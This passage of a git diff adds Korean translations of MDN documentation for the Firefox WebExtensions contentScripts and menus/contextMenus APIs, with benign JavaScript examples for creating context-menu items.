+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html b/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html
new file mode 100644
index 0000000000..94061c69dc
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html
@@ -0,0 +1,38 @@
+---
+title: contentScripts
+slug: Mozilla/Add-ons/WebExtensions/API/contentScripts
+translation_of: Mozilla/Add-ons/WebExtensions/API/contentScripts
+---
+<div>{{AddonSidebar}}</div>
+
+<p>이 API는 콘텐츠 스크립트를 등록한다. 등록된 콘텐츠 스크립트는 브라우저가 URL 패턴이 일치하는 페이지에 넣는다.</p>
+
+<p>이 API는 <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">"content_scripts"</a></code> manifest.json 키와 아주 비슷하다. 단지,  <code>"content_scripts"</code>로는 설치할 때 정해진 스크립트와 패턴을 바꿀 수 없지만, <code>contentScripts</code> API로는 스크립트의 등록이나 해제가 실행 중에도 가능하다.</p>
+
+<p>등록할 스크립트, URL 패턴, 그리고 기타 옵션을 정의하는 객체를 인수로 {{WebExtAPIRef("contentScripts.register()")}}을 호출하면, 반환된  <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>는 {{WebExtAPIRef("contentScripts.RegisteredContentScript")}} 객체가 인수인 완료를 수행한다.</p>
+
+<p><code>RegisteredContentScript</code>는 <code>register()</code>를 호출해 등록할 스크립트를 담는 객체다. 해제는 객체에 정의된 <code>unregister()</code> 메소드로 할 수 있다. 또한, 스크립트를 등록한 페이지를 없애면 스크립트는 자동으로 해제된다. 예를 들어, background 페이지에서 등록했으면 그것들은 background 페이지가 파괴될 때 자동으로 해제된다. 마찬가지로 사이드바나 팝업에서 등록했으면, 사이드바나 팝업이 닫힐 때 자동으로 해제된다.</p>
+
+<p><code>contentScripts</code> API 자체는 권한 없이 사용할 수 있지만, <code>register()</code>에 전달할 패턴에 대해서는 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">호스트 권한</a>을 가져야 한다.</p>
+
+<h2 id="자료형">자료형</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contentScripts.RegisteredContentScript")}}</dt>
+ <dd>
+ <p>{{WebExtAPIRef("contentScripts.register()")}} 함수가 반환하는 객체의 자료형으로 등록된 콘텐츠 스크립트를 표현한다. <code>unregister()</code> 메소드로 스스로를 해제할 수 있다.</p>
+ </dd>
+</dl>
+
+<h2 id="함수">함수</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("contentScripts.register()")}}</dt>
+ <dd>주어진 콘텐츠 스크립트를 등록한다</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("webextensions.api.contentScripts", 10, 1)}}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html
new file mode 100644
index 0000000000..d6d933b22e
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html
@@ -0,0 +1,95 @@
+---
+title: menus.ContextType
+slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/ContextType
+translation_of: Mozilla/Add-ons/WebExtensions/API/menus/ContextType
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>메뉴 항목이 나타나게 하는 콘텍스트들.</p>
+
+<h2 id="자료형">자료형</h2>
+
+<p>이 자료형의 값은 문자열이다. 항목은 주어진 콘텍스트일 때 표시된다. 가능한 값은:</p>
+
+<dl>
+ <dt>all</dt>
+ <dd>'all'은 'bookmark', 'tab' 그리고 'tools_menu'를 뺀 나머지 모든 콘텍스트를 다 나열한 것과 같다.</dd>
+ <dt>audio</dt>
+ <dd><a href="/en-US/docs/Web/HTML/Element/audio">audio</a> 요소를 콘텍스트-클릭할 때 적용된다. (역주: 콘텍스트-클릭은 보통 마우스 오른쪽 버튼을 클릭하는 것이다)</dd>
+ <dt>bookmark</dt>
+ <dd>툴바나 메뉴에서 북마크 항목을 콘텍스트-클릭할 때 적용된다. 현재 북마크 사이드바나 라이브러리 윈도우 항목에서는 동작하지 않는다. manifest에 "bookmarks" <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API 권한</a>이 있어야 한다.</dd>
+ <dt>browser_action</dt>
+ <dd>브라우저 액션에서 콘텍스트-클릭을 할 때 적용된다. 최대로 추가할 수 있는 최상위 브라우저 액션 콘텍스트 매뉴 항목의 수는 {{WebExtAPIRef("menus.ACTION_MENU_TOP_LEVEL_LIMIT")}}지만 서버메뉴에는 얼마든지 추가할 수 있다.</dd>
+ <dt>editable</dt>
+ <dd>편집 가능한 요소, 가령은 <a href="/en-US/docs/Web/HTML/Element/textarea">textarea</a>를 콘텍스트-클릭할 때 적용된다.</dd>
+ <dt>frame</dt>
+ <dd>내포된 <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>을 콘텍스트-클릭할 때 적용된다.</dd>
+ <dt>image</dt>
+ <dd>이미지를 콘텍스트-클릭할 때 적용된다.</dd>
+ <dt>link</dt>
+ <dd>링크를 콘텍스트-클릭할 때 적용된다.</dd>
+ <dt>page</dt>
+ <dd>페이지를 콘텍스트-클릭할 때 적용된다. 단, 페이지의 다른 콘텍스트가 적용되지 않을 때만이다(예를 들면, 클릭이 이미지나 내포된 iframe 또는 링크가 아니여야 한다).</dd>
+ <dt>page_action</dt>
+ <dd>페이지 액션을 콘텍스트-클릭할 때 적용된다. 최대로 추가할 수 있는 최상위 페이지 액션 콘텍스트 메뉴 항목의 수는 {{WebExtAPIRef("menus.ACTION_MENU_TOP_LEVEL_LIMIT")}}지만 서버메뉴에는 얼마든지 추가할 수 있다.</dd>
+ <dt>password</dt>
+ <dd><a href="/en-US/docs/Web/HTML/Element/input/password">password 입력 요소</a>를 콘텍스트-클릭할 때 적용된다.</dd>
+ <dt>selection</dt>
+ <dd>페이지 일부가 선택되었을 때 적용된다.</dd>
+ <dt>tab</dt>
+ <dd>
+ <p>탭을 콘텍스트-클릭할 때 적용된다(specifically, this refers to the tab-strip or other user interface element enabling the user to switch from one browser tab to another, not to the page itself).</p>
+
+ <p>파이어폭스 63부터, 탭에서 메뉴 항목을 클릭하면 그것이 설사 현재탭이 아니더라도 클릭한 탭에 대해 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission">activeTab</a> 권한이 승인된다.</p>
+ </dd>
+ <dt>tools_menu</dt>
+ <dd>항목은 브라우저 툴바의 메뉴로 추가된다. 주의해야 할 것은 <code>menus</code> 이름공간을 통해 <code>ContextType</code>에 접근해야지 <code>contextMenus</code> 이름공간으로 하면 안된다.</dd>
+ <dt>video</dt>
+ <dd><a href="/en-US/docs/Web/HTML/Element/video">video</a> 요소에 콘텍스트-클릭을 할 때 적용된다.</dd>
+</dl>
+
+<p>"launcher"는 지원되지 않는다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.menus.ContextType", 10)}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/contextMenus#type-ContextType"><code>chrome.contextMenus</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/context_menus.json"><code>context_menus.json</code></a> in the Chromium code.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html
new file mode 100644
index 0000000000..9a053e6639
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html
@@ -0,0 +1,212 @@
+---
+title: menus.create()
+slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/create
+translation_of: Mozilla/Add-ons/WebExtensions/API/menus/create
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>주어진 객체대로 새 메뉴 항목을 만든다.</p>
+
+<p>이 함수는 다른 비공기 함수들과 달리 promise가 아니라 새 항목의 ID를 반환한다. 성공과 실패에 대한 처리는 필요하면 콜백으로 한다.</p>
+
+<p>다른 브라우저와의 호환성을 위해, <code>menus</code> 이름공간 뿐 아니라 <code>contextMenus</code> 이름공간으로도 이 메소드를 사용할 수 있다. 하지만 <code>contextMenus</code>로는 툴 메뉴 항목(<code>contexts: ["tools_menu"]</code>)은 만들 수 없다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox brush:js">browser.menus.create(
+  createProperties, // object
+  function() {...}  // optional function
+)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>createProperties</code></dt>
+ <dd><code>object</code>. 새 메뉴 항목의 속성들</dd>
+ <dd>
+ <dl class="reference-values">
+  <dt><code>checked</code> {{optional_inline}}</dt>
+  <dd><code>boolean</code>. checkbox나 radio 항목의 초기값: 선택은 <code>true</code>, 선택이 아니면 <code>false</code>. radio 항목이라면 그룹 중에서 하나만 선택된 것으로 할 수 있다.</dd>
+  <dt><code>command</code> {{optional_inline}}</dt>
+  <dd>
+  <p><code>string</code>. 클릭 했을 때 수행할 동작을 기술한다. 가능한 값은:</p>
+
+  <ul>
+   <li><code>"_execute_browser_action"</code>: 확장의 브라우저 액션을 클릭한 것처럼 한다. 팝업이 있으면 팝업이 열린다.</li>
+   <li><code>"_execute_page_action"</code>: 확장의 페이지 액션을 클릭한 것처럼 한다. 팝업이 있으면 팝업이 열린다.</li>
+   <li><code>"_execute_sidebar_action"</code>: 확장의 사이드바를 연다.</li>
+  </ul>
+
+  <p>항목을 클릭하면 여전히 {{WebExtAPIRef("menus.onClicked")}} 이벤트도 발생한다. 어느게 먼저 인지는 보장되지 않지만 <code>onClicked</code>이 발생하기 전에 명령이 실행될 것이다.</p>
+  </dd>
+  <dt><code>contexts</code> {{optional_inline}}</dt>
+  <dd>
+  <p><code>{{WebExtAPIRef('menus.ContextType')}}</code>의 <code>배열</code>. 메뉴 항목이 표시할 콘텍스트의 배열. 생략되면:</p>
+
+  <ul>
+   <li>상위 항목에 콘텍스트가 설정되었으면 그걸 물려받는다.</li>
+   <li>아니면, 항목은 ["page"]로 설정된다.</li>
+  </ul>
+  </dd>
+  <dt><code>documentUrlPatterns</code> {{optional_inline}}</dt>
+  <dd><code><code>string</code></code>의 <code>배열</code>. 메뉴 항목의 표시를 URL이 주어진 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match patterns</a>과 일치하는 문서로 제한한다. 프레임에도 적용된다.</dd>
+  <dt><code>enabled</code> {{optional_inline}}</dt>
+  <dd><code>boolean</code>. 메뉴 항목이 사용 가능한지 아닌지를 지정한다. 기본값은 <code>true</code>.</dd>
+  <dt><code>icons</code> {{optional_inline}}</dt>
+  <dd>
+  <p><code>object</code>. One or more custom icons to display next to the item. Custom icons can only be set for items appearing in submenus. This property is an object with one property for each supplied icon: the property's name should include the icon's size in pixels, and path is relative to the icon from the extension's root directory. The browser tries to choose a 16x16 pixel icon for a normal display or a 32x32 pixel icon for a high-density display. To avoid any scaling, you can specify icons like this:</p>
+
+  <pre class="brush: json no-line-numbers  language-json"><code class="language-json"><span class="key token">"icons":</span> <span class="punctuation token">{</span>
+      <span class="key token">"16":</span> <span class="string token">"path/to/geo-16.png"</span><span class="punctuation token">,</span>
+      <span class="key token">"32":</span> <span class="string token">"path/to/geo-32.png"</span>
+    <span class="punctuation token">}</span></code></pre>
+
+  <p>Alternatively, you can specify a single SVG icon, and it will be scaled appropriately:</p>
+
+  <pre class="brush: json no-line-numbers  language-json"><code class="language-json"><span class="key token">"icons":</span> <span class="punctuation token">{</span>
+      <span class="key token">"16":</span> <span class="string token">"path/to/geo.svg"</span>
+    <span class="punctuation token">}</span></code></pre>
+
+  <div class="blockIndicator note">
+  <p><strong>Note</strong>: The top-level menu item uses the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a> specified in the manifest rather than what is specified with this key.</p>
+  </div>
+  </dd>
+  <dt><code>id</code> {{optional_inline}}</dt>
+  <dd><code>string</code>. The unique ID to assign to this item. Mandatory for event pages. Cannot be the same as another ID for this extension.</dd>
+  <dt><code>onclick</code> {{optional_inline}}</dt>
+  <dd><code>function</code>. A function that will be called when the menu item is clicked. Event pages cannot use this: instead, they should register a listener for {{WebExtAPIRef('menus.onClicked')}}.</dd>
+  <dt><code>parentId</code> {{optional_inline}}</dt>
+  <dd><code><code>integer</code></code> or <code><code>string</code></code>. The ID of a parent menu item; this makes the item a child of a previously added item. Note: If you have created more than one menu item, then the items will be placed in a submenu. The submenu's parent will be labeled with the name of the extension.</dd>
+  <dt><code>targetUrlPatterns</code> {{optional_inline}}</dt>
+  <dd><code><code>string</code></code>의 <code>배열</code>. <code>documentUrlPatterns</code> 비슷한데, anchor 태그의 <code>href</code> 속성과 img/audio/video 태그의 <code>src</code> 속성에 기초해 걸러지는 것이다. 여기서 URL scheme는 뭐라도 상관없다. 설사 match pattern으로 보통은 허용되지 않는 것이라도 된다.</dd>
+  <dt><code>title</code> {{optional_inline}}</dt>
+  <dd>
+  <p><code>string</code>. The text to be displayed in the item. Mandatory unless <code>type</code> is "separator".</p>
+
+  <p>You can use "%s" in the string. If you do this in a menu item, and some text is selected in the page when the menu is shown, then the selected text will be interpolated into the title. For example, if <code>title</code> is "Translate '%s' to Pig Latin" and the user selects the word "cool", then activates the menu, then the menu item's title will be: "Translate 'cool' to Pig Latin".</p>
+
+  <p>If the title contains an ampersand "&amp;" then the next character will be used as an access key for the item, and the ampersand will not be displayed. Exceptions to this are:</p>
+
+  <ul>
+   <li>If the next character is also an ampersand: then a single ampersand will be displayed and no access key will be set. In effect, "&amp;&amp;" is used to display a single ampersand.</li>
+   <li>If the next characters are the interpolation directive "%s": then the ampersand will not be displayed and no access key will be set.</li>
+   <li>If the ampersand is the last character in the title: then the ampersand will not be displayed and no access key will be set.</li>
+  </ul>
+
+  <p>Only the first ampersand will be used to set an access key: subsequent ampersands will not be displayed but will not set keys. So "&amp;A and &amp;B" will be shown as "A and B" and set "A" as the access key.</p>
+  </dd>
+  <dt><code>type</code> {{optional_inline}}</dt>
+  <dd>{{WebExtAPIRef('menus.ItemType')}}. The type of menu item: "normal", "checkbox", "radio", "separator". Defaults to "normal".</dd>
+  <dt><code>visible</code> {{optional_inline}}</dt>
+  <dd><code>boolean</code>. Whether the item is shown in the menu. Defaults to <code>true</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>callback</code> {{optional_inline}}</dt>
+ <dd><code>function</code>. Called when the item has been created. If there were any problems creating the item, details will be available in {{WebExtAPIRef('runtime.lastError')}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code><code>integer</code></code> or <code><code>string</code></code>. The ID of the newly created item.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.menus.create", 10)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 페이지에 선택된 텍스트가 있을 때 표시되는 콘텍스트 메뉴 항목을 만든다. 동작은 선택된 텍스트를 콘솔에 로그로 남기는 것이다:</p>
+
+<pre class="brush: js">browser.menus.create({
+  id: "log-selection",
+  title: "Log '%s' to the console",
+  contexts: ["selection"]
+});
+
+browser.menus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "log-selection") {
+    console.log(info.selectionText);
+  }
+});</pre>
+
+<p>이 예제는 두 개의 radio 항목을 추가한다. 선택해서 테두리의 색을 녹색이나 청색으로 할 수 있다. 이 예제는 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission">activeTab 권한</a>이 필요하다.</p>
+
+<pre class="brush: js">function onCreated() {
+  if (browser.runtime.lastError) {
+    console.log("error creating item:" + browser.runtime.lastError);
+  } else {
+    console.log("item created successfully");
+  }
+}
+
+browser.menus.create({
+  id: "radio-green",
+  type: "radio",
+  title: "Make it green",
+  contexts: ["all"],
+  checked: false
+}, onCreated);
+
+browser.menus.create({
+  id: "radio-blue",
+  type: "radio",
+  title: "Make it blue",
+  contexts: ["all"],
+  checked: false
+}, onCreated);
+
+var makeItBlue = 'document.body.style.border = "5px solid blue"';
+var makeItGreen = 'document.body.style.border = "5px solid green"';
+
+browser.menus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "radio-blue") {
+    browser.tabs.executeScript(tab.id, {
+      code: makeItBlue
+    });
+  } else if (info.menuItemId == "radio-green") {
+    browser.tabs.executeScript(tab.id, {
+      code: makeItGreen
+    });
+  }
+});</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/contextMenus#method-create"><code>chrome.contextMenus</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/context_menus.json"><code>context_menus.json</code></a> in the Chromium code.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html
new file mode 100644
index 0000000000..7cb70b5fa7
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html
@@ -0,0 +1,58 @@
+---
+title: menus.getTargetElement()
+slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement
+translation_of: Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement
+---
+<div>{{AddonSidebar}}{{Draft}}</div>
+
+<p class="summary">주어진 <code>targetElementId</code>에 해당하는 요소를 돌려준다.</p>
+
+<p>이 함수는 오직 클릭된 요소가 있는 문서에서만 동작한다. so everywhere but in the background page.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">let elem = browser.menus.getTargetElement(targetElementId);
+</pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>targetElementId</code></dt>
+ <dd><code>{{WebExtAPIRef("menus.onClicked")}}</code> 핸들러 또는 <code>{{WebExtAPIRef("menus.onShown")}}</code> 이벤트에 전달된 <code>{{WebExtAPIRef("menus.OnClickData")}}</code> 객체의 속성</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p><code>targetElementId</code>로 참조되는 요소를 반환한다. <code>targetElementId</code>가 유효하지 않으면 <code>null</code>를 반환한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제는 인수로 전달된 <code>info.targetElementId</code> 값으로 요소를 구하고, 그것을 지운다. 하지만 <code>getTargetElement</code>는 요소가 있는 문서에서만 동작하므로 문서가 있는 탭에 스크립트를 주입하는 형태로 처리하고 있다. </p>
+
+<pre class="brush: js">browser.menus.create({
+  title: "Remove element",
+  documentUrlPatterns: ["*://*/*"],
+  contexts: ["audio", "editable", "frame", "image", "link", "page", "password", "video"],
+  onclick(info, tab) {
+    browser.tabs.executeScript(tab.id, {
+      frameId: info.frameId,
+      code: `browser.menus.getTargetElement(${info.targetElementId}).remove();`,
+    });
+  },
+});
+</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("webextensions.api.menus.getTargetElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{WebExtAPIRef("menus.create")}}</li>
+ <li>{{WebExtAPIRef("menus.OnClickData")}}</li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html
new file mode 100644
index 0000000000..58f5af938b
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html
@@ -0,0 +1,183 @@
+---
+title: contextMenus
+slug: Mozilla/Add-ons/WebExtensions/API/contextMenus
+translation_of: Mozilla/Add-ons/WebExtensions/API/menus
+---
+<div>{{AddonSidebar}}</div>
+
+<p>브라우저의 메뉴 시스템에 항목을 추가한다.</p>
+
+<p>이 API는 크롬의 <a href="https://developer.chrome.com/extensions/contextMenus">"contextMenus"</a> API를 모델로 했다. 크롬 확장앱이 브라우저의 콘텍스트 메뉴에 항목을 추가하는 API인데, 파이어폭스의 <code>browser.menus</code> API는 여기에 몇 가지 특징을 더했다.</p>
+
+<p>파이어폭스 55 이전에 이 API의 원래 이름은 <code>contextMenus</code>였고, 지금도 이 이름은 별명으로 유지되므로 다른 브라우저에서도 동작하는 코드를 작성한다면 <code>contextMenus</code>를 사용할 수 있다.</p>
+
+<p>이 API를 사용하려면 '<code>menus</code>'  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>이 필요하다. <code>menus</code> 대신에 <code>contextMenus</code>를 사용해도 된다. <code>contextMenus</code>를 사용했으면 API도 <code>browser.contextMenus</code>를 써야 한다.</p>
+
+<p>콘텐트 스크립트에서는 <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus/getTargetElement">menus.getTargetElement()</a></code>만 사용할 수 있다.</p>
+
+<h2 id="메뉴_항목_만들기">메뉴 항목 만들기</h2>
+
+<p>메뉴 항목을 만들려면 {{WebExtAPIRef("contextMenus.create()")}} 메소드를 호출한다. 인수로 항목의 ID, 종류, 어떤 콘텍스트일 때 표시되는지 등이 포함된 객체를 전달한다.</p>
+
+<p>항목의 클릭을 처리하려면 {{WebExtAPIRef("contextMenus.onClicked")}} 이벤트에 리스너를 추가한다. 리스너는 상세한 이벤트 정보를 담고 있는{{WebExtAPIRef("contextMenus.OnClickData")}} 객체를 받는다.</p>
+
+<p>콘텍스트 메뉴는 네 종류다. <code>create()</code>에 주어지는 <code>type</code> 속성으로 지정한다:</p>
+
+<ul>
+ <li>"normal": 그냥 라벨만 표시된다.</li>
+ <li>"checkbox": 라벨 옆에 추가로 체크표시가 있어 두가지 상태를 표현하는 메뉴 항목이다. 클릭할 때마다 라벨표시가 토글된다. 리스너는 두가지 속성을 추가로 받게 된다: "checked"는 현재 체크 상태를 가리키고, "wasChecked"는 클릭 이벤트 전의 체크 상태를 가리킨다.</li>
+ <li>"radio": 여러 선택지 중의 하나라는 것을 표현하는 메뉴 항목이다. 라벨 옆에 체크표시가 있고, "checked"와 "wasChecked" 속성이 있다는 것은 checkbox와 같다. 다른 점은 radio 항목을 하나 이상 만들어 그룹이 되면, 오직 클릭하는 하나만 선택이 된다는 것이다.</li>
+ <li>"separator": 항목을 그룹짓는 구분선이다.</li>
+</ul>
+
+<p>메뉴 항목을 하나 이상 만들면 그 항목들은 서버메뉴로 표시되고, 상위메뉴의 라벨은 확장의 이름이 된다. 예를 들어, "Menu demo"라는 확장이 있고, 그것이 두 개의 콘텍스트 메뉴 항목을 추가했다면:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15431/menus-1.png" style="display: block; height: 406px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<h2 id="아이콘">아이콘</h2>
+
+<p><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">"icons" manifest 키</a>로 확장이 아이콘을 가졌으면,  콘텍스트 메뉴 항목은 라벨 옆에 아이콘을 함께 표시한다. 보통의 경우 16x16 픽셀이 표시되고, 고해상도이면 32x32 픽셀의 아이콘이 표시된다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15433/menus-2.png" style="display: block; height: 409px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<p>서버메뉴에 대해서만 {{WebExtAPIRef("menus.create()")}}에 <code>icons</code> 옵션을 전달해서 아이콘을 지정할 수 있다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15435/menus-3.png" style="display: block; height: 396px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 콘텍스트 메뉴에는 4개 항목이 있다: 보통 항목 하나, 위-아래가 구분선인 두 개의 라디오 항목, 그리고 체크박스 항목 하나다. 라디오 항목에는 따로 아이콘이 지정되었다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15437/menus-4.png" style="display: block; height: 790px; margin-left: auto; margin-right: auto; width: 500px;">이 서버메뉴는 아래 코드로 만들 수 있다:</p>
+
+<pre class="brush: js">browser.menus.create({
+  id: "remove-me",
+  title: browser.i18n.getMessage("menuItemRemoveMe"),
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-1",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "greenify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemGreenify"),
+  contexts: ["all"],
+  checked: true,
+  icons: {
+    "16": "icons/paint-green-16.png",
